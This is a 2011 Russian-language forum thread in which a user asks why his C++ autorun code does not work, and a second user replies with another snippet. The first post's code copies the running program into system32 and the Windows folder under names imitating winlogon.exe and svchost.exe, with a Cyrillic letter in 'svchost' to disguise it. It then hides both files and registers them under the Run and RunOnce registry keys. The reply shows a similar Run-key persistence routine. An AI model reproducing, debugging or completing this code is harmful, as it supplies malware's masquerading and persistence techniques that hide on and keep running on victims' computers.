не работае прописка в автозапуск c++

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Apathy, 16 Oct 2011.

  1. Apathy

    Apathy New Member

    Joined:
    25 Aug 2011
    Messages:
    41
    Likes Received:
    0
    Reputations:
    0
    с++ copyfile && regSetvalue не работает

    void autoruns() { HKEY hKey;
    char path[MAX_PATH];
    char sys[MAX_PATH]; //строки char windir[MAX_PATH]; char keyname1[]="winlogon";
    //имя ключа в автозагрузке файла в папке system32 char keyname2[]="svchost";
    //имя ключа в автозагрузку файла в папке windows char namefile1[]="\\winlogon.exe";
    char namefile2[]="\\svсhost.exe"; //------------- GetModuleFileName(NULL,path,sizeof(path)); GetSystemDirectory(sys,sizeof(sys));
    //определение директорий GetWindowsDirectory(windir,sizeof(windir)); //------------- strcat(sys,namefile1);
    //прибавление системным путям имена файлов strcat(windir,namefile2);//------------- CopyFile(path,sys,false); //копирование в папки CopyFile(path,windir,false); //------------- SetFileAttributes(sys,FILE_ATTRIBUTE_HIDDEN);
    //делаем файл в системной папке скрытым SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
    //деламе файл в папке виндовс скрытым //------------- RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey); RegSetValueEx(hKey,keyname1,0,REG_SZ,(const unsigned char*)sys,sizeof(sys));
    //прописываем в реестр RegSetValueEx(hKey,keyname2,0,REG_SZ,(const unsigned char*)windir,sizeof(windir));
    RegCloseKey(hKey); RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",0,KEY_SET_VALUE,&hKey);
    RegSetValueEx(hKey,keyname1,0,REG_SZ,(const unsigned char*)sys,sizeof(sys));
    //прописываем в реестр RegSetValueEx(hKey,keyname2,0,REG_SZ,(const unsigned char*)windir,sizeof(windir)); RegCloseKey(hKey); }




    код компилируется,выполняется,но не видно последствий работы...почему не работает в чем проблема?
     
    #1 Apathy, 16 Oct 2011
    Last edited: 17 Oct 2011
  2. Vermont

    Vermont New Member

    Joined:
    16 Jul 2011
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    CString path;

    char win_dir[MAX_PATH];
    GetWindowsDirectory(win_dir, MAX_PATH);
    path=win_dir;
    path+="\\";
    path+="program.exe";
    char pathArr[MAX_PATH];
    strcpy(pathArr, path);
    HKEY key;
    DWORD pos;
    RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&pos);
    RegSetValueEx(key,"имя программы.exe",0,REG_SZ,(BYTE*)path,path_name.GetLength());
    RegCloseKey(key);